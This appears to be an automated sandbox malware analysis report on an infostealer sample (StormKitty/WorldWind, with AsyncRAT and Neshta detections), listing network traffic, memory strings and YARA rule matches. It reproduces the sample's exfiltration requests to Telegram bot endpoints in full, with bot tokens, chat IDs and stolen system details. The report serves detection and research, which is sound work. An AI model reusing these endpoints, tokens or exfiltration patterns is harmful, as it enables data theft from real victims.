Source: global traffic	HTTP traffic detected: GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Stealer%202.0.4%20-%20Results:%0ADate:%202024-07-25%207:03:50%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20585948%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%205HD8R%0ARAM:%204095MB%0AHWID:%20A3234DEE9B%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: POST /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619136628 HTTP/1.1Content-Type: multipart/form-data; boundary="9a90f5be-ba32-47eb-bbd8-ceebefa67688"Host: api.telegram.orgContent-Length: 153913Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866 HTTP/1.1Content-Type: multipart/form-data; boundary="8b1ed36a-236f-4a11-9926-bd82a5531dca"Host: api.telegram.orgContent-Length: 153913Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.185.241 104.16.185.241
Source: Joe Sandbox View	IP Address: 172.67.196.114 172.67.196.114

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Stealer%202.0.4%20-%20Results:%0ADate:%202024-07-25%207:03:50%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20585948%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%205HD8R%0ARAM:%204095MB%0AHWID:%20A3234DEE9B%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 220.240.8.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619136628 HTTP/1.1Content-Type: multipart/form-data; boundary="9a90f5be-ba32-47eb-bbd8-ceebefa67688"Host: api.telegram.orgContent-Length: 153913Expect: 100-continue

Source: integrator.exe.0.dr	String found in binary or memory: http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte
Source: OLicenseHeartbeat.exe.0.dr	String found in binary or memory: http://CodeTypeIsExpectedOffice.System.ResultGlobal
Source: msoadfsb.exe.0.dr	String found in binary or memory: http://aka.ms/sdxdebug
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F6A000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F6A000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: VC_redist.x64.exe.0.dr	String found in binary or memory: http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: AdobeARMHelper.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: armsvc.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: LisectAVT_2403002B_4.exe, 00000000.00000002.2500097951.0000000000190000.00000004.00000010.00020000.00000000.sdmp, Uninstall.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Aut2exe.exe.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: Aut2exe.exe.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/8
Source: AutoIt3_x64.exe.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr, unpack200.exe.0.dr, ssvagent.exe.0.dr, AdobeARMHelper.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: OcPubMgr.exe.0.dr	String found in binary or memory: http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: LisectAVT_2403002B_4.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/send
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=16191
Source: LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	String found in binary or memory: https://api.telegram.org/file/bot
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgD
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty0&eq
Source: msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr, pwahelper.exe.0.dr, elevation_service.exe.0.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff
Source: msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr, pwahelper.exe.0.dr, elevation_service.exe.0.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith
Source: OLicenseHeartbeat.exe.0.dr	String found in binary or memory: https://login.windows.net/commonhttps://login.windows.netDBSFetcher::CreateRequestHeader
Source: integrator.exe.0.dr	String found in binary or memory: https://nexus.officeapps.live.comhttps://nexusrules.officeapps.live.com
Source: integrator.exe.0.dr	String found in binary or memory: https://otelrules.azureedge.net/rules/.bundlesdxhelper.exeFailed
Source: LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://support.mozilla.org
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: places.raw.1.dr, tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.raw.1.dr, tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: places.raw.1.dr, tmpD6C4.tmp.dat.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.196.114:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49707 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Source: integrator.exe.0.dr

Binary or memory string: RegisterRawInputDevices

memstr_978a7523-0

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File deleted: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File deleted: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File deleted: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File deleted: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NYMMPCEIMA.png	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	File deleted: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: LisectAVT_2403002B_4.exe, type: SAMPLE	Matched rule: Detects Neshta Author: ditekSHen
Source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Neshta Author: ditekSHen
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
